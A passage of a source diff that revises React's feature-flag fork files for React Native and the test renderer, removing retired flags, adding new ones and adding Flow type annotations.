+++ b/packages/shared/forks/ReactFeatureFlags.native-fb.js
@@ -20,77 +20,78 @@ const dynamicFlags: DynamicExportsType = (dynamicFlagsUntyped: any);
 // the exports object every time a flag is read.
 export const {
   alwaysThrottleRetries,
-  consoleManagedByDevToolsDuringStrictMode,
-  disableDefaultPropsExceptForClasses,
-  enableAddPropertiesFastPath,
-  enableDeferRootSchedulingToMicrotask,
-  enableFastJSX,
-  enableInfiniteRenderLoopDetection,
-  enableShallowPropDiffing,
+  enableEffectEventMutationPhase,
+  enableObjectFiber,
+  enableEagerAlternateStateNodeCleanup,
   passChildrenWhenCloningPersistedNodes,
+  enableFragmentRefs,
+  enableFragmentRefsScrollIntoView,
+  enableFragmentRefsInstanceHandles,
+  enableFragmentRefsTextNodes,
+  enableViewTransitionForPersistenceMode,
 } = dynamicFlags;
 
 // The rest of the flags are static for better dead code elimination.
-export const allowConcurrentByDefault = false;
-export const debugRenderPhaseSideEffectsForStrictMode = __DEV__;
-export const disableClientCache = true;
-export const disableCommentsAsDOMContainers = true;
-export const disableIEWorkarounds = true;
-export const disableInputAttributeSyncing = false;
-export const disableLegacyContext = false;
-export const disableLegacyMode = false;
-export const disableSchedulerTimeoutInWorkLoop = false;
-export const disableStringRefs = true;
-export const disableTextareaChildren = false;
-export const enableAsyncActions = true;
-export const enableAsyncDebugInfo = false;
-export const enableAsyncIterableChildren = false;
-export const enableBinaryFlight = true;
-export const enableCache = true;
-export const enableComponentStackLocations = true;
-export const enableCPUSuspense = true;
-export const enableCreateEventHandleAPI = false;
-export const enableDebugTracing = false;
-export const enableDO_NOT_USE_disableStrictPassiveEffect = false;
-export const enableFilterEmptyStringAttributesDOM = true;
-export const enableFizzExternalRuntime = true;
-export const enableFlightReadableStream = true;
-export const enableGetInspectorDataForInstanceInProduction = true;
-export const enableLazyContextPropagation = false;
-export const enableLegacyCache = false;
-export const enableLegacyFBSupport = false;
-export const enableLegacyHidden = false;
-export const enableNoCloningMemoCache = false;
-export const enableOwnerStacks = false;
-export const enablePostpone = false;
-export const enableProfilerCommitHooks = __PROFILE__;
-export const enableProfilerNestedUpdatePhase = __PROFILE__;
-export const enableProfilerTimer = __PROFILE__;
-export const enableReactTestRendererWarning = false;
-export const enableRefAsProp = true;
-export const enableRenderableContext = true;
-export const enableRetryLaneExpiration = false;
-export const enableSchedulingProfiler = __PROFILE__;
-export const enableScopeAPI = false;
-export const enableServerComponentLogs = true;
-export const enableSuspenseAvoidThisFallback = false;
-export const enableSuspenseAvoidThisFallbackFizz = false;
-export const enableSuspenseCallback = false;
-export const enableTaint = true;
-export const enableTransitionTracing = false;
-export const enableTrustedTypesIntegration = false;
-export const enableUnifiedSyncLane = true;
-export const enableUpdaterTracking = __PROFILE__;
-export const enableUseDeferredValueInitialArg = true;
-export const enableUseEffectEventHook = false;
-export const enableUseMemoCacheHook = true;
-export const favorSafetyOverHydrationPerf = true;
-export const forceConcurrentByDefaultForTesting = false;
-export const renameElementSymbol = false;
+export const disableClientCache: boolean = true;
+export const disableCommentsAsDOMContainers: boolean = true;
+export const disableInputAttributeSyncing: boolean = false;
+export const disableLegacyContext: boolean = false;
+export const disableLegacyContextForFunctionComponents: boolean = false;
+export const disableLegacyMode: boolean = false;
+export const disableSchedulerTimeoutInWorkLoop: boolean = false;
+export const disableTextareaChildren: boolean = false;
+export const enableAsyncDebugInfo: boolean = true;
+export const enableAsyncIterableChildren: boolean = false;
+export const enableCPUSuspense: boolean = true;
+export const enableCreateEventHandleAPI: boolean = false;
+export const enableMoveBefore: boolean = true;
+export const enableFizzExternalRuntime: boolean = true;
+export const enableInfiniteRenderLoopDetection: boolean = false;
+export const enableLegacyCache: boolean = false;
+export const enableLegacyFBSupport: boolean = false;
+export const enableLegacyHidden: boolean = false;
+export const enableNoCloningMemoCache: boolean = false;
+export const enableProfilerCommitHooks: boolean = __PROFILE__;
+export const enableProfilerNestedUpdatePhase: boolean = __PROFILE__;
+export const enableProfilerTimer: boolean = __PROFILE__;
+export const enableReactTestRendererWarning: boolean = false;
+export const enableRetryLaneExpiration: boolean = false;
+export const enableSchedulingProfiler: boolean = __PROFILE__;
+export const enableScopeAPI: boolean = false;
+export const enableSuspenseAvoidThisFallback: boolean = false;
+export const enableSuspenseCallback: boolean = true;
+export const enableTaint: boolean = true;
+export const enableTransitionTracing: boolean = false;
+export const enableTrustedTypesIntegration: boolean = true;
+export const enableUpdaterTracking: boolean = __PROFILE__;
 export const retryLaneExpirationMs = 5000;
 export const syncLaneExpirationMs = 250;
 export const transitionLaneExpirationMs = 5000;
-export const useModernStrictMode = true;
+export const enableYieldingBeforePassive: boolean = false;
+export const enableThrottledScheduling: boolean = false;
+export const enableViewTransition: boolean = true;
+export const enableGestureTransition: boolean = false;
+export const enableScrollEndPolyfill: boolean = true;
+export const enableSuspenseyImages: boolean = false;
+export const enableFizzBlockingRender: boolean = true;
+export const enableSrcObject: boolean = false;
+export const enableHydrationChangeEvent: boolean = true;
+export const enableDefaultTransitionIndicator: boolean = true;
+export const ownerStackLimit = 1e4;
+export const enableComponentPerformanceTrack: boolean = true;
+export const enablePerformanceIssueReporting: boolean =
+  enableComponentPerformanceTrack;
+export const enableInternalInstanceMap: boolean = false;
+export const enableOptimisticKey: boolean = false;
+export const enableParallelTransitions: boolean = false;
+
+export const eprh_enableUseKeyedStateCompilerLint: boolean = false;
+export const eprh_enableVerboseNoSetStateInEffectCompilerLint: boolean = false;
+export const eprh_enableExhaustiveEffectDependenciesCompilerLint:
+  | 'off'
+  | 'all'
+  | 'extra-only'
+  | 'missing-only' = 'off';
 
 // Flow magic to verify the exports of this file match the original version.
 ((((null: any): ExportsType): FeatureFlagsType): ExportsType);
diff --git a/packages/shared/forks/ReactFeatureFlags.native-oss.js b/packages/shared/forks/ReactFeatureFlags.native-oss.js
index 88e49d2bc94a..d37dff7f34e9 100644
--- a/packages/shared/forks/ReactFeatureFlags.native-oss.js
+++ b/packages/shared/forks/ReactFeatureFlags.native-oss.js
@@ -12,83 +12,86 @@ import typeof * as ExportsType from './ReactFeatureFlags.native-oss';
 
 // TODO: Align these flags with canary and delete this file once RN ships from Canary.
 
-// DEV-only but enabled in the next RN Major.
-// Not supported by flag script to avoid the special case.
-export const debugRenderPhaseSideEffectsForStrictMode = __DEV__;
-
 // -----------------------------------------------------------------------------
-// All other flags
+// All flags
 // -----------------------------------------------------------------------------
-export const allowConcurrentByDefault = false;
-export const alwaysThrottleRetries = false;
-export const consoleManagedByDevToolsDuringStrictMode = true;
-export const disableClientCache = true;
-export const disableCommentsAsDOMContainers = true;
-export const disableDefaultPropsExceptForClasses = true;
-export const disableIEWorkarounds = true;
-export const disableInputAttributeSyncing = false;
-export const disableLegacyContext = true;
-export const disableLegacyMode = false;
-export const disableSchedulerTimeoutInWorkLoop = false;
-export const disableStringRefs = true;
-export const disableTextareaChildren = false;
-export const enableAddPropertiesFastPath = false;
-export const enableAsyncActions = true;
-export const enableAsyncDebugInfo = false;
-export const enableAsyncIterableChildren = false;
-export const enableBinaryFlight = true;
-export const enableCache = true;
-export const enableComponentStackLocations = true;
-export const enableCPUSuspense = false;
-export const enableCreateEventHandleAPI = false;
-export const enableDebugTracing = false;
-export const enableDeferRootSchedulingToMicrotask = true;
-export const enableDO_NOT_USE_disableStrictPassiveEffect = false;
-export const enableFastJSX = true;
-export const enableFilterEmptyStringAttributesDOM = true;
-export const enableFizzExternalRuntime = true;
-export const enableFlightReadableStream = true;
-export const enableGetInspectorDataForInstanceInProduction = false;
-export const enableInfiniteRenderLoopDetection = true;
-export const enableLazyContextPropagation = false;
-export const enableLegacyCache = false;
-export const enableLegacyFBSupport = false;
-export const enableLegacyHidden = false;
-export const enableNoCloningMemoCache = false;
-export const enableOwnerStacks = __EXPERIMENTAL__;
-export const enablePostpone = false;
-export const enableReactTestRendererWarning = false;
-export const enableRefAsProp = true;
-export const enableRenderableContext = true;
-export const enableRetryLaneExpiration = false;
-export const enableSchedulingProfiler = __PROFILE__;
-export const enableScopeAPI = false;
-export const enableServerComponentLogs = true;
-export const enableShallowPropDiffing = false;
-export const enableSuspenseAvoidThisFallback = false;
-export const enableSuspenseAvoidThisFallbackFizz = false;
-export const enableSuspenseCallback = false;
-export const enableTaint = true;
-export const enableTransitionTracing = false;
-export const enableTrustedTypesIntegration = false;
-export const enableUnifiedSyncLane = true;
-export const enableUseDeferredValueInitialArg = true;
-export const enableUseEffectEventHook = false;
-export const enableUseMemoCacheHook = true;
-export const favorSafetyOverHydrationPerf = true;
-export const forceConcurrentByDefaultForTesting = false;
-export const passChildrenWhenCloningPersistedNodes = false;
-export const renameElementSymbol = true;
+export const alwaysThrottleRetries: boolean = false;
+export const disableClientCache: boolean = true;
+export const disableCommentsAsDOMContainers: boolean = true;
+export const disableInputAttributeSyncing: boolean = false;
+export const disableLegacyContext: boolean = true;
+export const disableLegacyContextForFunctionComponents: boolean = true;
+export const disableLegacyMode: boolean = false;
+export const disableSchedulerTimeoutInWorkLoop: boolean = false;
+export const disableTextareaChildren: boolean = false;
+export const enableAsyncDebugInfo: boolean = true;
+export const enableAsyncIterableChildren: boolean = false;
+export const enableCPUSuspense: boolean = false;
+export const enableCreateEventHandleAPI: boolean = false;
+export const enableMoveBefore: boolean = true;
+export const enableFizzExternalRuntime: boolean = true;
+export const enableInfiniteRenderLoopDetection: boolean = false;
+export const enableLegacyCache: boolean = false;
+export const enableLegacyFBSupport: boolean = false;
+export const enableLegacyHidden: boolean = false;
+export const enableNoCloningMemoCache: boolean = false;
+export const enableObjectFiber: boolean = false;
+export const enableReactTestRendererWarning: boolean = false;
+export const enableRetryLaneExpiration: boolean = false;
+export const enableComponentPerformanceTrack: boolean = true;
+export const enablePerformanceIssueReporting: boolean = false;
+export const enableSchedulingProfiler: boolean =
+  !enableComponentPerformanceTrack && __PROFILE__;
+export const enableScopeAPI: boolean = false;
+export const enableEagerAlternateStateNodeCleanup: boolean = true;
+export const enableEffectEventMutationPhase: boolean = false;
+export const enableSuspenseAvoidThisFallback: boolean = false;
+export const enableSuspenseCallback: boolean = false;
+export const enableTaint: boolean = true;
+export const enableTransitionTracing: boolean = false;
+export const enableTrustedTypesIntegration: boolean = true;
+export const passChildrenWhenCloningPersistedNodes: boolean = false;
 export const retryLaneExpirationMs = 5000;
 export const syncLaneExpirationMs = 250;
 export const transitionLaneExpirationMs = 5000;
-export const useModernStrictMode = true;
+
+export const enableYieldingBeforePassive: boolean = false;
+
+export const enableThrottledScheduling: boolean = false;
+export const enableViewTransition: boolean = true;
+export const enableViewTransitionForPersistenceMode: boolean = false;
+export const enableGestureTransition: boolean = false;
+export const enableScrollEndPolyfill: boolean = true;
+export const enableSuspenseyImages: boolean = false;
+export const enableFizzBlockingRender: boolean = true;
+export const enableSrcObject: boolean = false;
+export const enableHydrationChangeEvent: boolean = false;
+export const enableDefaultTransitionIndicator: boolean = false;
+export const ownerStackLimit = 1e4;
+
+export const enableFragmentRefs: boolean = true;
+export const enableFragmentRefsScrollIntoView: boolean = false;
+export const enableFragmentRefsInstanceHandles: boolean = true;
+export const enableFragmentRefsTextNodes: boolean = true;
+
+export const enableInternalInstanceMap: boolean = false;
+
+export const enableOptimisticKey: boolean = false;
 
 // Profiling Only
-export const enableProfilerTimer = __PROFILE__;
-export const enableProfilerCommitHooks = __PROFILE__;
-export const enableProfilerNestedUpdatePhase = __PROFILE__;
-export const enableUpdaterTracking = __PROFILE__;
+export const enableProfilerTimer: boolean = __PROFILE__;
+export const enableProfilerCommitHooks: boolean = __PROFILE__;
+export const enableProfilerNestedUpdatePhase: boolean = __PROFILE__;
+export const enableUpdaterTracking: boolean = __PROFILE__;
+export const enableParallelTransitions: boolean = false;
+
+export const eprh_enableUseKeyedStateCompilerLint: boolean = false;
+export const eprh_enableVerboseNoSetStateInEffectCompilerLint: boolean = false;
+export const eprh_enableExhaustiveEffectDependenciesCompilerLint:
+  | 'off'
+  | 'all'
+  | 'extra-only'
+  | 'missing-only' = 'off';
 
 // Flow magic to verify the exports of this file match the original version.
 ((((null: any): ExportsType): FeatureFlagsType): ExportsType);
diff --git a/packages/shared/forks/ReactFeatureFlags.test-renderer.js b/packages/shared/forks/ReactFeatureFlags.test-renderer.js
index e40351ae1fcf..537448d3904a 100644
--- a/packages/shared/forks/ReactFeatureFlags.test-renderer.js
+++ b/packages/shared/forks/ReactFeatureFlags.test-renderer.js
@@ -10,76 +10,72 @@
 import typeof * as FeatureFlagsType from 'shared/ReactFeatureFlags';
 import typeof * as ExportsType from './ReactFeatureFlags.test-renderer';
 
-export const debugRenderPhaseSideEffectsForStrictMode = false;
-export const enableDebugTracing = false;
-export const enableAsyncDebugInfo = false;
-export const enableSchedulingProfiler = false;
-export const enableProfilerTimer = __PROFILE__;
-export const enableProfilerCommitHooks = __PROFILE__;
-export const enableProfilerNestedUpdatePhase = __PROFILE__;
-export const enableUpdaterTracking = false;
-export const enableCache = true;
-export const enableLegacyCache = __EXPERIMENTAL__;
-export const enableBinaryFlight = true;
-export const enableFlightReadableStream = true;
-export const enableAsyncIterableChildren = false;
-export const enableTaint = true;
-export const enablePostpone = false;
-export const disableCommentsAsDOMContainers = true;
-export const disableInputAttributeSyncing = false;
-export const disableIEWorkarounds = true;
-export const enableScopeAPI = false;
-export const enableCreateEventHandleAPI = false;
-export const enableSuspenseCallback = false;
-export const enableTrustedTypesIntegration = false;
-export const disableTextareaChildren = false;
-export const enableSuspenseAvoidThisFallback = false;
-export const enableSuspenseAvoidThisFallbackFizz = false;
-export const enableCPUSuspense = false;
-export const enableUseMemoCacheHook = true;
-export const enableNoCloningMemoCache = false;
-export const enableUseEffectEventHook = false;
-export const favorSafetyOverHydrationPerf = true;
-export const enableComponentStackLocations = true;
-export const enableLegacyFBSupport = false;
-export const enableFilterEmptyStringAttributesDOM = true;
-export const enableGetInspectorDataForInstanceInProduction = false;
-
-export const enableRetryLaneExpiration = false;
+export const enableAsyncDebugInfo: boolean = true;
+export const enableSchedulingProfiler: boolean = false;
+export const enableProfilerTimer: boolean = __PROFILE__;
+export const enableProfilerCommitHooks: boolean = __PROFILE__;
+export const enableProfilerNestedUpdatePhase: boolean = __PROFILE__;
+export const enableComponentPerformanceTrack: boolean = true;
+export const enablePerformanceIssueReporting: boolean = false;
+export const enableUpdaterTracking: boolean = false;
+export const enableLegacyCache: boolean = __EXPERIMENTAL__;
+export const enableAsyncIterableChildren: boolean = false;
+export const enableTaint: boolean = true;
+export const disableCommentsAsDOMContainers: boolean = true;
+export const disableInputAttributeSyncing: boolean = false;
+export const enableScopeAPI: boolean = false;
+export const enableCreateEventHandleAPI: boolean = false;
+export const enableSuspenseCallback: boolean = false;
+export const enableTrustedTypesIntegration: boolean = true;
+export const disableTextareaChildren: boolean = false;
+export const enableSuspenseAvoidThisFallback: boolean = false;
+export const enableCPUSuspense: boolean = false;
+export const enableNoCloningMemoCache: boolean = false;
+export const enableLegacyFBSupport: boolean = false;
+export const enableMoveBefore: boolean = false;
+
+export const enableRetryLaneExpiration: boolean = false;
 export const retryLaneExpirationMs = 5000;
 export const syncLaneExpirationMs = 250;
 export const transitionLaneExpirationMs = 5000;
 
-export const disableSchedulerTimeoutInWorkLoop = false;
-export const enableLazyContextPropagation = false;
-export const enableLegacyHidden = false;
-export const forceConcurrentByDefaultForTesting = false;
-export const enableUnifiedSyncLane = __EXPERIMENTAL__;
-export const allowConcurrentByDefault = false;
+export const disableSchedulerTimeoutInWorkLoop: boolean = false;
+export const enableLegacyHidden: boolean = false;
+
+export const enableTransitionTracing: boolean = false;
+
+export const enableFizzExternalRuntime: boolean = true;
 
-export const consoleManagedByDevToolsDuringStrictMode = false;
+export const alwaysThrottleRetries: boolean = true;
 
-export const enableTransitionTracing = false;
+export const passChildrenWhenCloningPersistedNodes: boolean = false;
+export const disableClientCache: boolean = true;
 
-export const useModernStrictMode = false;
-export const enableDO_NOT_USE_disableStrictPassiveEffect = false;
-export const enableFizzExternalRuntime = true;
-export const enableDeferRootSchedulingToMicrotask = true;
+export const enableInfiniteRenderLoopDetection: boolean = false;
 
-export const enableAsyncActions = true;
+export const enableEagerAlternateStateNodeCleanup: boolean = true;
+export const enableEffectEventMutationPhase: boolean = false;
 
-export const alwaysThrottleRetries = true;
+export const enableYieldingBeforePassive: boolean = true;
 
-export const passChildrenWhenCloningPersistedNodes = false;
-export const enableUseDeferredValueInitialArg = __EXPERIMENTAL__;
-export const disableClientCache = true;
+export const enableThrottledScheduling: boolean = false;
+export const enableViewTransition: boolean = true;
+export const enableViewTransitionForPersistenceMode: boolean = false;
+export const enableGestureTransition: boolean = false;
+export const enableScrollEndPolyfill: boolean = true;
+export const enableSuspenseyImages: boolean = false;
+export const enableFizzBlockingRender: boolean = true;
+export const enableSrcObject: boolean = false;
+export const enableHydrationChangeEvent: boolean = false;
+export const enableDefaultTransitionIndicator: boolean = false;
+export const ownerStackLimit = 1e4;
 
-export const enableServerComponentLogs = true;
-export const enableInfiniteRenderLoopDetection = false;
-export const enableAddPropertiesFastPath = false;
+export const enableFragmentRefs: boolean = true;
+export const enableFragmentRefsScrollIntoView: boolean = true;
+export const enableFragmentRefsInstanceHandles: boolean = true;
+export const enableFragmentRefsTextNodes: boolean = true;
 
-export const renameElementSymbol = true;
-export const enableShallowPropDiffing = false;
+export const enableInternalInstanceMap: boolean = false;
 
 // TODO: This must be in sync with the main ReactFeatureFlags file because
 // the Test Renderer's value must be the same as the one used by the
@@ -88,16 +84,23 @@ export const enableShallowPropDiffing = false;
 // We really need to get rid of this whole module. Any test renderer specific
 // flags should be handled by the Fiber config.
 // const __NEXT_MAJOR__ = __EXPERIMENTAL__;
-export const enableRefAsProp = true;
-export const disableStringRefs = true;
-export const enableFastJSX = true;
-export const disableLegacyMode = true;
-export const disableLegacyContext = true;
-export const enableRenderableContext = true;
-export const enableReactTestRendererWarning = true;
-export const disableDefaultPropsExceptForClasses = true;
-
-export const enableOwnerStacks = false;
+export const disableLegacyMode: boolean = true;
+export const disableLegacyContext: boolean = true;
+export const disableLegacyContextForFunctionComponents: boolean = true;
+export const enableReactTestRendererWarning: boolean = true;
+
+export const enableObjectFiber: boolean = false;
+
+export const enableOptimisticKey: boolean = false;
+export const enableParallelTransitions: boolean = false;
+
+export const eprh_enableUseKeyedStateCompilerLint: boolean = false;
+export const eprh_enableVerboseNoSetStateInEffectCompilerLint: boolean = false;
+export const eprh_enableExhaustiveEffectDependenciesCompilerLint:
+  | 'off'
+  | 'all'
+  | 'extra-only'
+  | 'missing-only' = 'off';
 
 // Flow magic to verify the exports of this file match the original version.
 ((((null: any): ExportsType): FeatureFlagsType): ExportsType);
diff --git a/packages/shared/forks/ReactFeatureFlags.test-renderer.native-fb.js b/packages/shared/forks/ReactFeatureFlags.test-renderer.native-fb.js
index ec4a96f9c868..8d97f9dd9ddd 100644
--- a/packages/shared/forks/ReactFeatureFlags.test-renderer.native-fb.js
+++ b/packages/shared/forks/ReactFeatureFlags.test-renderer.native-fb.js
@@ -10,75 +10,74 @@
 import typeof * as FeatureFlagsType from 'shared/ReactFeatureFlags';
 import typeof * as ExportsType from './ReactFeatureFlags.test-renderer';
 
-export const allowConcurrentByDefault = true;
 export const alwaysThrottleRetries = false;
-export const consoleManagedByDevToolsDuringStrictMode = false;
-export const debugRenderPhaseSideEffectsForStrictMode = false;
 export const disableClientCache = true;
 export const disableCommentsAsDOMContainers = true;
-export const disableDefaultPropsExceptForClasses = false;
-export const disableIEWorkarounds = true;
 export const disableInputAttributeSyncing = false;
 export const disableLegacyContext = false;
+export const disableLegacyContextForFunctionComponents = false;
 export const disableLegacyMode = false;
 export const disableSchedulerTimeoutInWorkLoop = false;
-export const disableStringRefs = true;
 export const disableTextareaChildren = false;
-export const enableAddPropertiesFastPath = false;
-export const enableAsyncActions = true;
-export const enableAsyncDebugInfo = false;
+export const enableAsyncDebugInfo = true;
 export const enableAsyncIterableChildren = false;
-export const enableBinaryFlight = true;
-export const enableCache = true;
-export const enableComponentStackLocations = true;
 export const enableCPUSuspense = true;
 export const enableCreateEventHandleAPI = false;
-export const enableDebugTracing = false;
-export const enableDeferRootSchedulingToMicrotask = false;
-export const enableDO_NOT_USE_disableStrictPassiveEffect = false;
-export const enableFastJSX = true;
-export const enableFilterEmptyStringAttributesDOM = true;
+export const enableMoveBefore = false;
 export const enableFizzExternalRuntime = true;
-export const enableFlightReadableStream = true;
-export const enableGetInspectorDataForInstanceInProduction = false;
 export const enableInfiniteRenderLoopDetection = false;
-export const enableLazyContextPropagation = false;
 export const enableLegacyCache = false;
 export const enableLegacyFBSupport = false;
 export const enableLegacyHidden = false;
 export const enableNoCloningMemoCache = false;
-export const enableOwnerStacks = false;
-export const enablePostpone = false;
+export const enableObjectFiber = false;
 export const enableProfilerCommitHooks = __PROFILE__;
 export const enableProfilerNestedUpdatePhase = __PROFILE__;
 export const enableProfilerTimer = __PROFILE__;
 export const enableReactTestRendererWarning = false;
-export const enableRefAsProp = true;
-export const enableRenderableContext = true;
 export const enableRetryLaneExpiration = false;
 export const enableSchedulingProfiler = __PROFILE__;
+export const enableComponentPerformanceTrack = false;
+export const enablePerformanceIssueReporting = false;
 export const enableScopeAPI = false;
-export const enableServerComponentLogs = true;
-export const enableShallowPropDiffing = false;
+export const enableEagerAlternateStateNodeCleanup = true;
+export const enableEffectEventMutationPhase = false;
 export const enableSuspenseAvoidThisFallback = false;
-export const enableSuspenseAvoidThisFallbackFizz = false;
 export const enableSuspenseCallback = false;
 export const enableTaint = true;
 export const enableTransitionTracing = false;
-export const enableTrustedTypesIntegration = false;
-export const enableUnifiedSyncLane = true;
+export const enableTrustedTypesIntegration = true;
 export const enableUpdaterTracking = false;
-export const enableUseDeferredValueInitialArg = __EXPERIMENTAL__;
-export const enableUseEffectEventHook = false;
-export const enableUseMemoCacheHook = true;
-export const favorSafetyOverHydrationPerf = true;
-export const forceConcurrentByDefaultForTesting = false;
 export const passChildrenWhenCloningPersistedNodes = false;
-export const renameElementSymbol = false;
 export const retryLaneExpirationMs = 5000;
 export const syncLaneExpirationMs = 250;
 export const transitionLaneExpirationMs = 5000;
-export const useModernStrictMode = true;
+export const enableYieldingBeforePassive = false;
+export const enableThrottledScheduling = false;
+export const enableViewTransition = true;
+export const enableViewTransitionForPersistenceMode = false;
+export const enableGestureTransition = false;
+export const enableScrollEndPolyfill = true;
+export const enableSuspenseyImages = false;
+export const enableFizzBlockingRender = true;
+export const enableSrcObject = false;
+export const enableHydrationChangeEvent = false;
+export const enableDefaultTransitionIndicator = true;
+export const enableFragmentRefs = false;
+export const enableFragmentRefsScrollIntoView = false;
+export const enableFragmentRefsInstanceHandles = false;
+export const enableFragmentRefsTextNodes = false;
+export const ownerStackLimit = 1e4;
+export const enableOptimisticKey = false;
+export const enableParallelTransitions = false;
+
+export const eprh_enableUseKeyedStateCompilerLint: boolean = false;
+export const eprh_enableVerboseNoSetStateInEffectCompilerLint: boolean = false;
+export const eprh_enableExhaustiveEffectDependenciesCompilerLint:
+  | 'off'
+  | 'all'
+  | 'extra-only'
+  | 'missing-only' = 'off';
 
 // Flow magic to verify the exports of this file match the original version.
 ((((null: any): ExportsType): FeatureFlagsType): ExportsType);
diff --git a/packages/shared/forks/ReactFeatureFlags.test-renderer.www.js b/packages/shared/forks/ReactFeatureFlags.test-renderer.www.js
index 2bd4e0798911..53b8b487df3b 100644
--- a/packages/shared/forks/ReactFeatureFlags.test-renderer.www.js
+++ b/packages/shared/forks/ReactFeatureFlags.test-renderer.www.js
@@ -10,89 +10,89 @@
 import typeof * as FeatureFlagsType from 'shared/ReactFeatureFlags';
 import typeof * as ExportsType from './ReactFeatureFlags.test-renderer.www';
 
-export const debugRenderPhaseSideEffectsForStrictMode = false;
-export const enableDebugTracing = false;
-export const enableAsyncDebugInfo = false;
-export const enableSchedulingProfiler = false;
-export const enableProfilerTimer = __PROFILE__;
-export const enableProfilerCommitHooks = __PROFILE__;
-export const enableProfilerNestedUpdatePhase = __PROFILE__;
-export const enableUpdaterTracking = false;
-export const enableCache = true;
-export const enableLegacyCache = true;
-export const enableBinaryFlight = true;
-export const enableFlightReadableStream = true;
-export const enableAsyncIterableChildren = false;
-export const enableTaint = true;
-export const enablePostpone = false;
-export const disableCommentsAsDOMContainers = true;
-export const disableInputAttributeSyncing = false;
-export const disableIEWorkarounds = true;
-export const enableScopeAPI = true;
-export const enableCreateEventHandleAPI = false;
-export const enableSuspenseCallback = true;
-export const disableLegacyContext = false;
-export const enableTrustedTypesIntegration = false;
-export const disableTextareaChildren = false;
-export const enableSuspenseAvoidThisFallback = true;
-export const enableSuspenseAvoidThisFallbackFizz = false;
-export const enableCPUSuspense = false;
-export const enableUseMemoCacheHook = true;
-export const enableNoCloningMemoCache = false;
-export const enableUseEffectEventHook = false;
-export const favorSafetyOverHydrationPerf = true;
-export const enableComponentStackLocations = true;
-export const enableLegacyFBSupport = false;
-export const enableFilterEmptyStringAttributesDOM = true;
-export const enableGetInspectorDataForInstanceInProduction = false;
-export const enableRenderableContext = false;
-
-export const enableRetryLaneExpiration = false;
+export const enableAsyncDebugInfo: boolean = true;
+export const enableSchedulingProfiler: boolean = false;
+export const enableProfilerTimer: boolean = __PROFILE__;
+export const enableProfilerCommitHooks: boolean = __PROFILE__;
+export const enableProfilerNestedUpdatePhase: boolean = __PROFILE__;
+export const enableComponentPerformanceTrack: boolean = false;
+export const enablePerformanceIssueReporting: boolean = false;
+export const enableUpdaterTracking: boolean = false;
+export const enableLegacyCache: boolean = true;
+export const enableAsyncIterableChildren: boolean = false;
+export const enableTaint: boolean = true;
+export const disableCommentsAsDOMContainers: boolean = true;
+export const disableInputAttributeSyncing: boolean = false;
+export const enableScopeAPI: boolean = true;
+export const enableCreateEventHandleAPI: boolean = false;
+export const enableSuspenseCallback: boolean = true;
+export const disableLegacyContext: boolean = false;
+export const disableLegacyContextForFunctionComponents: boolean = false;
+export const enableTrustedTypesIntegration: boolean = true;
+export const disableTextareaChildren: boolean = false;
+export const enableSuspenseAvoidThisFallback: boolean = true;
+export const enableCPUSuspense: boolean = false;
+export const enableNoCloningMemoCache: boolean = false;
+export const enableLegacyFBSupport: boolean = false;
+export const enableMoveBefore: boolean = false;
+
+export const enableRetryLaneExpiration: boolean = false;
 export const retryLaneExpirationMs = 5000;
 export const syncLaneExpirationMs = 250;
 export const transitionLaneExpirationMs = 5000;
 
-export const disableSchedulerTimeoutInWorkLoop = false;
-export const enableLazyContextPropagation = false;
-export const enableLegacyHidden = false;
-export const forceConcurrentByDefaultForTesting = false;
-export const enableUnifiedSyncLane = true;
-export const allowConcurrentByDefault = true;
+export const disableSchedulerTimeoutInWorkLoop: boolean = false;
+export const enableLegacyHidden: boolean = false;
 
-export const consoleManagedByDevToolsDuringStrictMode = false;
+export const enableTransitionTracing: boolean = false;
 
-export const enableTransitionTracing = false;
+export const enableFizzExternalRuntime: boolean = false;
 
-export const useModernStrictMode = false;
-export const enableDO_NOT_USE_disableStrictPassiveEffect = false;
-export const enableFizzExternalRuntime = false;
-export const enableDeferRootSchedulingToMicrotask = true;
+export const alwaysThrottleRetries: boolean = true;
 
-export const enableAsyncActions = true;
+export const passChildrenWhenCloningPersistedNodes: boolean = false;
+export const disableClientCache: boolean = true;
 
-export const alwaysThrottleRetries = true;
+export const enableInfiniteRenderLoopDetection: boolean = false;
 
-export const passChildrenWhenCloningPersistedNodes = false;
-export const enableUseDeferredValueInitialArg = true;
-export const disableClientCache = true;
+export const enableReactTestRendererWarning: boolean = false;
+export const disableLegacyMode: boolean = true;
 
-export const enableServerComponentLogs = true;
-export const enableInfiniteRenderLoopDetection = false;
+export const enableObjectFiber: boolean = false;
+export const enableEagerAlternateStateNodeCleanup: boolean = true;
+export const enableEffectEventMutationPhase: boolean = false;
 
-export const enableRefAsProp = true;
-export const disableStringRefs = false;
-export const enableFastJSX = false;
+export const enableYieldingBeforePassive: boolean = false;
 
-export const enableReactTestRendererWarning = false;
-export const disableLegacyMode = true;
+export const enableThrottledScheduling: boolean = false;
+export const enableViewTransition: boolean = true;
+export const enableViewTransitionForPersistenceMode: boolean = false;
+export const enableGestureTransition: boolean = false;
+export const enableScrollEndPolyfill: boolean = true;
+export const enableSuspenseyImages: boolean = false;
+export const enableFizzBlockingRender: boolean = true;
+export const enableSrcObject: boolean = false;
+export const enableHydrationChangeEvent: boolean = false;
+export const enableDefaultTransitionIndicator: boolean = true;
 
-export const disableDefaultPropsExceptForClasses = false;
-export const enableAddPropertiesFastPath = false;
+export const enableFragmentRefs: boolean = true;
+export const enableFragmentRefsScrollIntoView: boolean = true;
+export const enableFragmentRefsInstanceHandles: boolean = true;
+export const enableFragmentRefsTextNodes: boolean = true;
+export const ownerStackLimit = 1e4;
 
-export const renameElementSymbol = false;
+export const enableInternalInstanceMap: boolean = false;
 
-export const enableOwnerStacks = false;
-export const enableShallowPropDiffing = false;
+export const enableOptimisticKey: boolean = false;
+export const enableParallelTransitions: boolean = false;
+
+export const eprh_enableUseKeyedStateCompilerLint: boolean = false;
+export const eprh_enableVerboseNoSetStateInEffectCompilerLint: boolean = false;
+export const eprh_enableExhaustiveEffectDependenciesCompilerLint:
+  | 'off'
+  | 'all'
+  | 'extra-only'
+  | 'missing-only' = 'off';
 
 // Flow magic to verify the exports of this file match the original version.
 ((((null: any): ExportsType): FeatureFlagsType): ExportsType);
diff --git a/packages/shared/forks/ReactFeatureFlags.www-dynamic.js b/packages/shared/forks/ReactFeatureFlags.www-dynamic.js
index 4ec863c7bbb8..1646c834ef41 100644
--- a/packages/shared/forks/ReactFeatureFlags.www-dynamic.js
+++ b/packages/shared/forks/ReactFeatureFlags.www-dynamic.js
@@ -13,40 +13,34 @@
